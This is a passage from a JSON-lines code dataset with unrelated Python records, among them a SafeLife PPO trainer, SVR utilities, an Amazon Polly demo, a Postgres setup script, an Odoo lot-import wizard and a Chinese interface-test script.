añadirAsistente(agenda, fecha, asistente)\"\"\"\n\n#Mostrar hora de finalizacion de la reunion más larga\n\"\"\"\nfecha = \"10/10/2018, 00:00\"\nprint(averiguarDuracion (agenda, fecha))\"\"\"\n\n#Buscar la primera reunion por un asunto\n\"\"\"\nasunto = \"Definición\"\nprint(buscarReunionPorAsunto(agenda,asunto))\"\"\"\n\n#borra una determinada reunion y devuelve los asistentes\n\"\"\"\nfecha = \"10/10/2018, 10:00\"\nagenda, calendario, asistentes = borrarReunion(agenda, fecha)\"\"\"\n\n#print(agenda)\n#print(calendario)\n\n\n\n\n\n \n\n\n\n \n","sub_path":"laboratorio/cuaderno-5/ejercicio-opcional.py","file_name":"ejercicio-opcional.py","file_ext":"py","file_size_in_byte":11073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"330034074","text":"import os\nimport numpy as np\nimport tensorflow as tf\n\nfrom safelife.gym_env import SafeLifeEnv\nfrom . import ppo_baseline\nfrom .wrappers import SafeLifeWrapper\n\n\nclass SafeLifeBasePPO(ppo_baseline.StablePPO2):\n \"\"\"\n Minimal extension to PPO to load the environment and record video.\n\n This should still be subclassed to build the network and set any other\n hyperparameters.\n \"\"\"\n video_freq = 100\n video_counter = None\n video_name = \"episode-{episode}-{steps}\"\n test_video_name = 'test-{env_name}-{steps}'\n test_environments = []\n\n environment_params = {}\n board_gen_params = {}\n side_effect_args = {}\n\n def __init__(self, logdir=ppo_baseline.DEFAULT_LOGDIR, **kwargs):\n self.logdir = logdir\n print (self.num_env)\n envs = [\n #SafeLifeWrapper(\n SafeLifeEnv(**self.environment_params)\n #self.update_environment) \n for _ in range(self.num_env)\n ]\n super().__init__(envs, logdir=logdir, **kwargs)\n\n def update_environment(self, env_wrapper):\n # Called just before an environment resets\n if self.video_counter is None:\n self.video_counter = self.num_episodes\n if self.video_freq > 0 and self.video_counter % self.video_freq == 0:\n base_name = self.video_name.format(\n episode=self.video_counter, steps=self.num_steps)\n env_wrapper.video_name = os.path.join(self.logdir, base_name)\n else:\n env_wrapper.video_name = None\n self.video_counter += 1\n # If the board_gen_params are implemented as a property, then they\n # could easily be changed with every update to do some sort of\n # curriculum learning.\n env_wrapper.unwrapped.board_gen_params = self.board_gen_params\n\n def run_safety_test(self):\n op = self.op\n\n def policy(obs, memory):\n fd = {op.states: [[obs]]}\n if memory is not None:\n fd[op.cell_states_in] = memory\n if op.cell_states_out is not None:\n policy, memory = self.session.run(\n [op.policy, op.cell_states_out], feed_dict=fd)\n else:\n policy = self.session.run(op.policy, feed_dict=fd)\n policy = policy[0, 0]\n return np.random.choice(len(policy), p=policy), memory\n\n for idx, env_name in enumerate(self.test_environments):\n env = SafeLifeEnv(\n fixed_levels=[env_name], **self.environment_params)\n env.reset()\n video_name = os.path.join(self.logdir, self.test_video_name.format(\n idx=idx+1, env_name=env.unwrapped.state.title,\n steps=self.num_steps))\n env = SafeLifeWrapper(\n env, video_name=video_name, on_name_conflict=\"abort\")\n safety_scores, avg_reward, avg_length = policy_side_effect_score(\n policy, env, named_keys=True, **self.side_effect_args)\n\n # ...somehow record this. For now just print.\n # Might want to just output to a dedicated log file.\n print(\"\\nTesting\", env.unwrapped.state.title, self.num_steps)\n print(\" Episode reward\", avg_reward)\n print(\" Episode length\", avg_length)\n print(\"Side effects:\")\n for key, val in safety_scores.items():\n print(\" {:14s} {:0.3f}\".format(key, val))\n print(\"\")\n\n\nclass SafeLifePPO(SafeLifeBasePPO):\n \"\"\"\n Defines the network architecture and parameters for agent training.\n\n Note that this subclass is essentially designed to be a rich parameter\n file. By changing some parameters to properties (or descriptors) one\n can easily make the parameters a function of e.g. the total number of\n training steps.\n\n This class will generally change between training runs. Of course, copies\n can be made to support different architectures, etc., and then those can\n all be run together or in sequence.\n \"\"\"\n\n # Training batch params\n num_env = 16\n steps_per_env = 20\n envs_per_minibatch = 4\n epochs_per_batch = 3\n total_steps = 5e6\n report_every = 5000\n save_every = 10000\n\n test_every = 100000\n test_environments = ['benchmarks/test-prune-3.npz']\n\n # Training network params\n gamma = np.array([0.9, 0.99], dtype=np.float32)\n policy_discount_weights = np.array([0.5, 0.5], dtype=np.float32)\n value_discount_weights = np.array([0.5, 0.5], dtype=np.float32)\n lmda = 0.9\n learning_rate = 3e-4\n entropy_reg = 1e-2\n vf_coef = 1.0\n max_gradient_norm = 1.0\n eps_clip = 0.1\n reward_clip = 10.0\n policy_rectifier = 'elu'\n scale_prob_clipping = True\n\n # Environment params\n environment_params = {\n 'max_steps': 1200,\n 'no_movement_penalty': 0.02,\n 'remove_white_goals': True,\n 'view_shape': (15, 15),\n 'output_channels': tuple(range(15)),\n }\n board_gen_params = {\n 'board_shape': (25, 25),\n 'difficulty': 1,\n 'max_regions': 4,\n }\n","sub_path":"training/safelife_ppo_baseline.py","file_name":"safelife_ppo_baseline.py","file_ext":"py","file_size_in_byte":5080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"574498249","text":"import numpy as np\nimport pandas as pd\nimport csv\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom cvxopt import matrix, solvers\nfrom numba import jit, njit\n\n\ndef solve_with_cvxopt(K, target, epsilon, u):\n \"\"\"Builds and solves the problem with the cvxopt primal-dual solver\n Params:\n K -- kernel matrix used as block to build Q\n target -- target vector to build vector q\n epsilon -- coefficient used to build vector q\n u -- upper bound for the feasible region\n Returns:\n sol -- object containing the primal and dual solutions.\n \"\"\"\n \n size = len(target)\n\n Q = matrix(np.block([[K, -K], [-K, K]]))\n \n q = matrix(np.block([epsilon - target, epsilon + target]))\n \n G = matrix(np.block([[np.eye(2*size)], [-np.eye(2*size)]]))\n \n h = np.zeros(4*size)\n h[0:2*size] = u\n h = matrix(h)\n\n A = matrix(np.block([[np.ones(size), -np.ones(size)]]))\n \n b = matrix(np.zeros(1))\n sol = solvers.qp(Q, q, G, h, A, b)\n return sol\n\n\n\ndef sample_transform_problem(feature, target, size):\n \"\"\"Samples a subset of the input matrices/vectors and applies a kernel.\n Params:\n feature -- features matrix\n target -- target vector\n size -- size of the problem to sample\n \"\"\"\n\n r, c = feature.shape\n assert(r >= size)\n rand_ind = np.random.choice(r, size, replace=False)\n\n M = feature.to_numpy() if type(feature) is pd.core.frame.DataFrame else feature\n T = target.to_numpy() if type(target) is pd.core.frame.DataFrame else target\n if len(T.shape) > 1:\n if(T.shape[1] == 1): T = T.flatten()\n\n\n featuresamp = M[rand_ind, :]\n targetsamp = T[rand_ind]\n\n K = compute_kernel_matrix(featuresamp, rbf)\n return K, targetsamp\n\n\n@jit(nopython=True)\ndef linear(x, y):\n return np.dot(x, y)\n\n@jit(nopython=True)\ndef rbf(x, y, gamma=1):\n a = np.dot(x-y, x-y)\n return np.exp(-gamma*a)\n\ndef compute_kernel_matrix(dataset, dot_product=linear):\n n = len(dataset)\n K = np.zeros([n, n])\n\n for i in range(n):\n for j in range(i, n):\n v = dot_product(dataset[i], dataset[j])\n\n K[i, j] = v\n K[j, i] = v\n\n return K\n\n\ndef separate_feature(df, nlast=1):\n \"\"\"separates the features from the target variables.\n Params:\n dataset -- the dataset.\n nlast -- number of columns containing the target variables.\n Returns:\n features, targets\n \"\"\"\n\n target_points = df[df.columns[-nlast:]]\n feature_points = df[df.columns[:-nlast]]\n feature_points.columns = [str(i+1)\n for i in range(len(feature_points.columns))]\n return feature_points, target_points\n\n\ndef load_ml_dataset():\n DATASET_PATH = __file__[:-16] + \"data\"\n DATASET_NAME = \"ML-CUP19-TR.csv\"\n print(\"loading from: \")\n print(DATASET_PATH + \"/\" + DATASET_NAME)\n df = pd.read_csv(DATASET_PATH + \"/\" + DATASET_NAME, sep=',',\n comment='#', skiprows=7, header=None, index_col=0)\n features, targets = separate_feature(df, 2)\n\n return features.to_numpy(), targets.to_numpy()\n\ndef load_airfoil_dataset():\n DATASET_PATH = __file__[:-16] + \"data\"\n DATASET_NAME = \"airfoil_self_noise.csv\"\n\n print(DATASET_PATH + \"/\" + DATASET_NAME)\n df = pd.read_csv(DATASET_PATH + \"/\" + DATASET_NAME)\n df.columns = ['Frequency (HZ)', 'Angle of attack (deg)', 'Chord length (m)', 'Free-stream velocity (m/s)',\n 'Suction side displacement thickness (m)', 'Scaled sound pressure level (db)']\n df, targets = separate_feature(df, 1)\n return df.to_numpy(), targets.to_numpy()\n\ndef load_california_dataset():\n from sklearn.datasets.california_housing import fetch_california_housing\n data = fetch_california_housing()\n return data.data, data.target\n\n\n\ndef plot_multiple_functions(functions, plot_avg=False, ax=None, color=None, col_avg=None, label=\"average\"):\n plt = None\n if ax is not None:\n plt=ax\n else:\n plt = matplotlib.pyplot\n for points in functions:\n col = \"cornflowerblue\" if color is None else color\n plt.plot([*range(1,1+len(points))], points, color=col)\n if plot_avg:\n \"\"\"\n calcola la lunghezza \"m\" della lista più piccola e poi calcola la media\n considerando i primi m elementi di ogni lista\n \"\"\"\n minlength = min(map(lambda x : len(x), functions))\n cropped_functions = map(lambda x : x[:minlength], functions)\n nfun = len(functions)\n average = [sum(i)/nfun for i in zip(*cropped_functions)]\n col_avg = \"blue\" if col_avg is None else col_avg\n plt.plot([*range(1, 1+minlength)], average, label=label, color=col_avg)\n plt.legend()\n if ax is None:\n plt.show()","sub_path":"cm/myutils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"430771163","text":"# --------------------------------------------\n# Copyright 2019, Grant Viklund\n# @Author: Grant Viklund\n# @Date: 2019-08-06 15:10:20\n# --------------------------------------------\n\nfrom os import path\nfrom setuptools import setup, find_packages\n\nfile_path = path.abspath(path.dirname(__file__))\n\nwith open(path.join(file_path, 'README.rst'), encoding='utf-8') as f:\n long_description = f.read()\n\npackage_metadata = {\n 'name': 'django-help-me',\n 'version': '0.1.3',\n 'description': 'A simple app for providing a simple help desk for users.',\n 'long_description': long_description,\n 'url': 'https://github.com/renderbox/django-help-me/',\n 'author': 'Grant Viklund',\n 'author_email': 'renderbox@example.com',\n 'license': 'MIT license',\n 'classifiers': [\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'Programming Language :: Python :: 3 :: Only',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n ],\n 'keywords': ['django', 'app'],\n}\n\nsetup(\n **package_metadata,\n packages=find_packages(),\n package_data={'helpme': ['templates/helpme/*.html', 'static/js/support/*.js']},\n include_package_data=True,\n python_requires=\">=3.6\",\n install_requires=[\n 'Django>=2.2',\n ],\n extras_require={\n 'dev': [],\n 'test': [],\n 'prod': [],\n 'build': [\n 'setuptools',\n 'wheel',\n 'twine',\n ],\n 'docs': [\n 'coverage',\n 'Sphinx',\n 'sphinx-bootstrap-theme',\n 'sphinx-rtd-theme',\n 'sphinx-js',\n ],\n }\n)","sub_path":"pypi_install_script/django-help-me-0.1.3.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"635659124","text":"import random as ra\nimport math\n\nsimulations = 10\narea = []\n\nfor i in range(simulations):\n points = 0\n for j in range(10000):\n x = ra.random()\n y = ra.random()\n if y <= math.sin(math.pi * x):\n points += 1\n area.append(points/10000)\n\n#value of integration is 2/pi\nprint(\"The area is {}\".format(sum(area)/simulations))\nprint(\"the value should be {}\".format(2/math.pi))","sub_path":"Lesson 2/Set 1/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"613295439","text":"# Autor: [loopTree] VGasparini 🎈\n# Nome: Menor e Posição\n# Nível: 1\n# Categoria: INICIANTE\n# URL: https://www.urionlinejudge.com.br/judge/pt/problems/view/1180\n\noie = input()\r\nvetor = list(map(int, input().split()))\r\nmin = min(vetor)\r\np = vetor.index(min)\r\nprint(\"Menor valor: %d\\nPosicao: %d\"%(min,p))\n","sub_path":"INICIANTE/1180 - Menor e Posição.py","file_name":"1180 - Menor e Posição.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"279895405","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: C:/Users/HDi/Google Drive/ProgramCodes/Released/PyPI/cognitivegeo/cognitivegeo/src\\vis\\color.py\n# Compiled at: 2019-12-05 18:40:28\n# Size of source mod 2**32: 980 bytes\nimport sys, os\n__all__ = [\n 'color']\nColorList = [\n 'Blue', 'Green', 'Red', 'Cyan', 'Magenta', 'Yellow', 'Black',\n 'Purple', 'Brown', 'Orange']\n\nclass color:\n ColorList = ColorList","sub_path":"pycfiles/cognitivegeo-1.1.1.tar/color.cpython-36.py","file_name":"color.cpython-36.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"581973368","text":"\"\"\"\n Author: pablopg.\n Step-by-step:\n 1. Run pip install boto3\n 2. Run pip install --upgrade --user awscli (http://docs.aws.amazon.com/cli/latest/userguide/installing.html)\n 3. Add awscli to the path (http://docs.aws.amazon.com/cli/latest/userguide/awscli-install-windows.html#awscli-install-windows-path)\n 4. Create an user in the AWS CLI.\n 5. Configure local AWS cli via the command: aws configure --profile adminuser\n 6. Run and listen!\n\"\"\"\n\n\"\"\"Getting Started Example for Python 2.7+/3.3+\"\"\"\nfrom boto3 import Session\nfrom botocore.exceptions import BotoCoreError, ClientError\nfrom contextlib import closing\nimport os\nimport sys\nimport subprocess\nfrom tempfile import gettempdir\nimport pygame as pg\n\n# Create a client using the credentials and region defined in the [adminuser]\n# section of the AWS credentials file (~/.aws/credentials).\nsession = Session(profile_name=\"eduardo_personal\")\n\npolly = session.client(\"polly\")\n\ntry:\n # Request speech synthesis\n message = 'Hello, there seem to have been an accident in White City, please send an agent.'\n response = polly.synthesize_speech(Text=message, OutputFormat=\"mp3\",\n VoiceId=\"Kendra\")\nexcept (BotoCoreError, ClientError) as error:\n # The service returned an error, exit gracefully\n print(error)\n sys.exit(-1)\n\n# Access the audio stream from the response\nif \"AudioStream\" in response:\n # Note: Closing the stream is important as the service throttles on the\n # number of parallel connections. Here we are using contextlib.closing to\n # ensure the close method of the stream object will be called automatically\n # at the end of the with statement's scope.\n with closing(response[\"AudioStream\"]) as stream:\n output = \"speech.mp3\"\n\n try:\n # Open a file for writing the output as a binary stream\n with open(output, \"wb\") as file:\n file.write(stream.read())\n except IOError as error:\n # Could not write to file, exit gracefully\n print(error)\n sys.exit(-1)\n\nelse:\n # The response didn't contain audio data, exit gracefully\n print(\"Could not stream audio\")\n sys.exit(-1)\n\n# Play the audio using python\ndef play_mp3(music_file, volume=0.8):\n '''\n stream music with mixer.music module in a blocking manner\n this will stream the sound from disk while playing\n '''\n # set up the mixer\n freq = 44100 # audio CD quality\n bitsize = -16 # unsigned 16 bit\n channels = 2 # 1 is mono, 2 is stereo\n buffer = 2048 # number of samples (experiment to get best sound)\n pg.mixer.init(freq, bitsize, channels, buffer)\n # volume value 0.0 to 1.0\n pg.mixer.music.set_volume(volume)\n clock = pg.time.Clock()\n try:\n pg.mixer.music.load(music_file)\n print(\"Music file {} loaded!\".format(music_file))\n except pg.error:\n print(\"File {} not found! ({})\".format(music_file, pg.get_error()))\n return\n pg.mixer.music.play()\n while pg.mixer.music.get_busy():\n # check if playback has finished\n clock.tick(30)\n\nplay_mp3(output, 1.0)\n","sub_path":"Polly/PollyTest.py","file_name":"PollyTest.py","file_ext":"py","file_size_in_byte":3177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"429458850","text":"#!/usr/bin/env python\n# Add root application dir to the python path\nimport os\nimport sys\nimport argparse\n\nparent_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), \"..\"))\nsys.path.append(parent_dir)\n\nimport sqlalchemy\n\nfrom atat.app import make_config\n\ndefault_extension = \"uuid-ossp\"\n\n\ndef _create_connection(config, db):\n # Assemble DATABASE_URI value\n database_uri = \"postgresql://{}:{}@{}:{}/{}\".format( # pragma: allowlist secret\n config.get(\"PGUSER\"),\n config.get(\"PGPASSWORD\"),\n config.get(\"PGHOST\"),\n config.get(\"PGPORT\"),\n db,\n )\n engine = sqlalchemy.create_engine(database_uri, pool_pre_ping=True)\n return engine.connect()\n\n\ndef create_database(conn, dbname):\n conn.execute(\"commit\")\n conn.execute(f\"CREATE DATABASE {dbname};\")\n conn.close()\n\n return True\n\n\ndef create_extension(conn, extension_name):\n # Extension must be created by admin user\n conn.execute(\"commit\")\n conn.execute(f'CREATE EXTENSION IF NOT EXISTS \"{extension_name}\";')\n conn.close()\n\n return True\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"dbname\", help=\"Name of DB to create\")\n parser.add_argument(\n \"extension\",\n nargs=\"?\",\n default=default_extension,\n help=f\"Extension to create in DB. Defaults to {default_extension} if no option provided\",\n )\n args = parser.parse_args()\n dbname = args.dbname\n extension = args.extension\n config = make_config()\n\n root_conn = _create_connection(config, \"postgres\")\n\n print(f\"Creating database {dbname}\")\n create_database(root_conn, dbname)\n print(f\"Creating extension {extension} on {dbname}\")\n new_conn = _create_connection(config, dbname)\n create_extension(new_conn, extension)\n","sub_path":"script/create_database.py","file_name":"create_database.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"340529733","text":"# -*- coding: utf-8 -*-\n# License AGPL-3 - See https://www.gnu.org/licenses/agpl-3.0.html\n\nfrom openerp import models, api, fields, _\nfrom odoo.exceptions import ValidationError\nimport base64\nimport xlrd\n\n\nclass WizardMoveLine(models.TransientModel):\n _name = 'wizard.move.line'\n\n file_name = fields.Char(\n string='File Name')\n\n lot_file = fields.Binary(\n string='Load File')\n\n @api.multi\n def load_lots_numbers(self):\n move_obj = self.env['stock.move'].browse(\n self._context.get('default_move_id'))\n lot_string = []\n cr = self.env.cr\n if self.file_name and self.lot_file:\n name = self.file_name.split('.')\n if name[1] == 'xls':\n wb = xlrd.open_workbook(\n file_contents=base64.decodestring(self.lot_file))\n ws = wb.sheet_by_index(0)\n for rownum in xrange(ws.nrows):\n a = ws.row_values(rownum)[0]\n lot_string.append(a)\n elif name[1] == 'csv':\n f = base64.b64decode(self.lot_file)\n lot_string = f.decode('utf-8').split('\\n')\n lot_string.pop(-1)\n else:\n raise ValidationError(\n _(\"You can only upload csv or xls files\"))\n count = 0\n if move_obj.product_uom_qty >= len(lot_string):\n n = 0\n for row in lot_string:\n count += 1\n move_obj.move_line_ids[n].lot_name = row\n move_obj.move_line_ids[n].qty_done = 1.0\n n += 1\n if count == 100:\n cr.commit()\n count = 0\n # print(str(count) + \" - Lot id: \" + row)\n else:\n raise ValidationError(\n _(\"You must to upload a file first\"))\n","sub_path":"stock_move_read_lots_file/wizard/move_line.py","file_name":"move_line.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"622906257","text":"# Copyright 2015 Palo Alto Networks, Inc\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n__author__ = 'ivanbojer'\n__version__ = ''\n\nimport ConfigParser\nimport logging\n\nfrom boto.s3.connection import S3Connection, S3ResponseError\nfrom boto.s3.key import Key\n\nLOG = logging.getLogger(__name__)\n\nclass FileDB(object):\n \"\"\"\n This class represents a poor man database that stores data in the property-like file.\n It should be used as the last resort.\n \"\"\"\n TABLE_ASSIGNEMENTS='assignements'\n TABLE_MAPPING='mappings'\n\n def __init__(self, CFG):\n logging.basicConfig(\n format='%(asctime)s [%(levelname)s] %(message)s',\n datefmt='%Y%m%d %T', level=logging.DEBUG)\n self.CFG = CFG\n\n if CFG.S3_HA:\n conn = S3Connection(profile_name=CFG.S3_CREDENTIALS_PROFILE)\n bucket = conn.get_bucket(CFG.S3_BUCKET)\n self.k = Key(bucket)\n self.k.key = CFG.DB_FILE\n\n self.__initialize_db_file()\n\n self.__configDB = ConfigParser.ConfigParser()\n self.load_db()\n\n def add_address(self, address, fw_addr):\n self.db_file.set(self.TABLE_MAPPING, address, fw_addr)\n self.save_db()\n\n def del_address(self, address):\n self.db_file.remove_option(self.TABLE_MAPPING, address)\n self.save_db()\n\n def add_assignement(self, fw_adr, elb_adr):\n self.db_file.set(self.TABLE_ASSIGNEMENTS, fw_adr, elb_adr)\n self.save_db()\n\n def del_assignement(self, fw_adr):\n self.db_file.remove_option(self.TABLE_ASSIGNEMENTS, fw_adr)\n self.save_db()\n\n def clear_assignements(self):\n self.db_file.remove_section(self.TABLE_ASSIGNEMENTS)\n self.db_file.add_section(self.TABLE_ASSIGNEMENTS)\n self.save_db()\n\n def get_elb_addrs(self):\n elb_addrs_tuples = self.db_file.items(self.TABLE_MAPPING)\n\n return dict(elb_addrs_tuples).keys()\n\n def get_assigned_fw(self, elb_addr):\n firewalls = dict(self.db_file.items(self.TABLE_ASSIGNEMENTS))\n\n for fw in firewalls:\n if elb_addr in firewalls[fw]:\n return fw\n\n return None\n\n def get_assigned_addresses(self, fw_addr=None):\n assigned_addr_tuples = dict(self.db_file.items(self.TABLE_ASSIGNEMENTS))\n assigned_addr = []\n if fw_addr is None:\n assigned_addr = assigned_addr_tuples.values()\n else:\n try:\n assigned_addr = assigned_addr_tuples[fw_addr]\n except KeyError:\n # swallow\n assigned_addr = []\n\n return assigned_addr\n\n def is_fw_occupied(self, fw_addr):\n assigned_addr = self.get_assigned_addresses(fw_addr)\n\n return len(assigned_addr) > 0\n\n def save_db(self):\n with open(self.CFG.DB_FILE, 'wb') as configfile:\n self.db_file.write(configfile)\n configfile.close()\n\n if (self.CFG.S3_HA):\n with open(self.CFG.DB_FILE, 'r') as myfile:\n data=myfile.read()\n myfile.close()\n self.k.set_contents_from_string(data)\n\n def load_db(self):\n if (self.CFG.S3_HA):\n self.k.get_contents_to_filename(self.CFG.DB_FILE)\n self.db_file.read(self.CFG.DB_FILE)\n\n def __initialize_db_file(self):\n \"\"\"This is called only once at the beginning. If HA is enabled it tries to\n download a file from the S3 bucket. If it cannot find one it will attempt\n to initialize an empty db file and upload it to the S3\"\"\"\n\n # if we do not need HA bail out\n if not self.CFG.S3_HA:\n return\n\n try:\n self.k.get_acl()\n except S3ResponseError as ex:\n if ex.status == 404:\n LOG.warn('Database file %s not found in S3 bucket [%s]. Initializing the new one',\n self.CFG.DB_FILE, self.CFG.S3_BUCKET)\n self.k.set_contents_from_string('[mappings]\\n[assignements]\\n')\n else:\n LOG.fatal('There was a communication issue with S3 bucket [%s] accessing the file %s. Exception: %s',\n ex, self.CFG.S3_BUCKET, self.CFG.DB_FILE, ex)\n import sys\n sys.exit(0)\n\n\n @property\n def db_file(self):\n \"\"\"\n Return the property once we are assured that we have the latest version.\n Given that the HA is done as add-hoc and that we do not have the real database\n the only way to achieve this (and it is not bullet proof) is to download the file\n every time someone is accessing it. This is ugly and bad.\n \"\"\"\n return self.__configDB\n\n def get_inverse_idx(self):\n \"\"\"given that we dont use real database this will build us our inverse index\"\"\"\n addresses = self.db_file.items(self.TABLE_MAPPING)\n\n fw_reverse_idx = dict()\n\n for adr in addresses:\n if adr[1] in fw_reverse_idx:\n fw_reverse_idx[adr[1]].append(adr[0])\n else:\n fw_reverse_idx[adr[1]] = [adr[0]]\n\n return fw_reverse_idx\n\n\nclass SQLiteDB(object):\n \"\"\"\n SQLLite DB\n \"\"\"\n def __init__(self):\n raise NotImplemented('SQLiteDB adapter not implemented')\n","sub_path":"elbhelper/db/dbdriver.py","file_name":"dbdriver.py","file_ext":"py","file_size_in_byte":5725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"435980495","text":"import numpy as np\nfrom sklearn.cross_decomposition import PLSRegression\nimport pandas\nimport matplotlib\nimport os\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import label_binarize\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport pdb; pdb.set_trace()\n\npath_to_features = '/nas/lrz/tuei/ldv/studierende/' + \\\n 'Emotion/features_full'\n\nemotions = ['W', 'L', 'E', 'A', 'F', 'T', 'N']\n\n\ndef to_categorical(y, available_emotions):\n return label_binarize(y, np.asarray(available_emotions))\n\n\ndef load(name, f):\n df = pandas.read_csv(name, sep=';', index_col=None)\n x = df.iloc[0, 3:]\n x = np.array(x, dtype=float)\n y = f[5]\n return np.array(x, dtype=float), np.array(y)\n\n\ndef get_features(path):\n files = os.listdir(path)\n tx = []\n ty = []\n for f in files:\n x, y = load(path + '/' + f, f)\n if len(x) > 0:\n tx.append(np.array(x, dtype=float))\n ty.append(y)\n tx = np.array(tx)\n ty = np.array(ty)\n return tx, ty\n\n\nx, y = get_features(path_to_features)\ny = to_categorical(y, emotions)\ny = np.argmax(y, axis=1)\ny = np.reshape(y, (y.shape[0], 1))\ny = np.ravel(y)\n\n\nscaler = StandardScaler()\nx = scaler.fit_transform(x)\n\n\nPLSR_score = []\n\nfor n in xrange(1, 6374):\n pls = PLSRegression(n_components=n)\n pls_fit = pls.fit(x, y)\n pls_score = pls_fit.score(x, y)\n# print 'average_pls_score'\n# print average_pls_score\n PLSR_score.append(pls_score)\n\n# plot PLSR\ncross_score_array = np.asarray(PLSR_score)\nnumber_of_components = [i for i in range(1, 6374)]\n\nplt.figure(figsize=(30, 10))\nplt.plot(number_of_components, cross_score_array,\n label='cross_validation scores per component')\nplt.title('PLSR scores, fold number')\nplt.xlabel('number of components')\nplt.ylabel('PLSR scores')\nplt.savefig('PLSR scores number.png')\nplt.close()\n","sub_path":"my_code/models/my_model/berlin/plsr.py","file_name":"plsr.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"187387049","text":"import socket\n\n# Get address information of site\nurl = 'towel.blinkenlights.nl'\naddr_info = socket.getaddrinfo(url, 23)\n# Get the IP and port\naddr = addr_info[0][-1]\n\n# Connect to it via socket\ns = socket.socket()\ns.connect(addr)\n\n# Print content/animation in console\n# Use Ctrl-C to interrupt\nwhile True:\n data = s.recv(500)\n print(str(data, 'utf8'), end='')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"558572254","text":"# -*- coding:utf-8 -*-\n#如果要在python2的py文件里面写中文,则必须要添加一行声明文件编码的注释,否则python2会默认使用ASCII编码。\n\nimport random\t#random 提供了生成随机数的工具\n\nimport time\nfrom util import getSQLResult, getExcelData, setExcelData, getInterfaceRes, getExcelNrows\t#util.py\ninterfaceNo = 5002\nfrontTransTime=time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\n\nprint(frontTransTime)\nfor pid in range(1, getExcelNrows(interfaceNo)):\t#range() 函数可创建一个整数列表,一般用在 for 循环中\t#getExcelNrows:获取场景数\n\t#接口请求:做接口字段做分类:1 固定字段,2 业务分类字段(字典值),3 业务字段 3.1新增字段 3.2存量字段,4有固定规则字段\n\tBodyData = {\n \"frontTransNo\": \"1701830089%d\" % random.randint(00000000, 99999999),#random.randint(a, b),用于生成一个指定范围内的整数。其中参数a是下限,参数b是上限,生成的随机数n: a <= n <= b\n \"frontTransTime\": \"%s\"%time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())),\n \"accountName\": \"%s\"%getExcelData(\"accountName\", pid, interfaceNo), #账户名称\n \"accountNum\":\"%s\"%getExcelData(\"accountNum\", pid, interfaceNo), #账号\n \"bankCode\":\"%s\"%getExcelData(\"bankCode\", pid, interfaceNo), #银行编码\n \"busiCode\":\"WMB56\",\n \"certId\":\"%s\"%getExcelData(\"certId\", pid, interfaceNo), #身份证号\n \"certType\":\"1\",\n \"interfaceNo\":\"5002\",\n \"mobile\":\"%s\"%getExcelData(\"mobile\",pid,interfaceNo),\n \"sysSource\": \"3\",\n \"source\": \"%s\" % getExcelData(\"source\", pid, interfaceNo)\n }\n\n\trebody = getInterfaceRes(interfaceNo, BodyData)\t#getInterfaceRes 取请求报文\n\tprint(rebody[\"responseBody\"][\"retMsg\"])\n\n\tsetExcelData(rebody, \"返回报文\", pid, interfaceNo)\t#\n\t#对接口返回结果进行判断\t尝试对非以下结果抛异常\n\tres = rebody[\"responseBody\"][\"retCode\"]\n\tif res == \"0000\":\n\t\tsetExcelData(\"fail\",)\n\t\tsetExcelData(\"dfs\")\n\t\tsetExcelData(\"sdfa\")\n\telif res == \"0001\":\n\t\tsetExcelData(\"fail\", \"测试结果\", pid, interfaceNo)\n\telif res == \"9999\":\n\t\tsetExcelData(\"day_of_end\", \"测试结果\", pid)\n\t\tprint(\"核心日终啦,测不了啦,下班吧~~~~~~~~~~~~~\")\n\t\tbreak\n\t#连接数据库进行判断\n\tsql = \"select * from t_tn_online_bind_flow a where a.account_no = 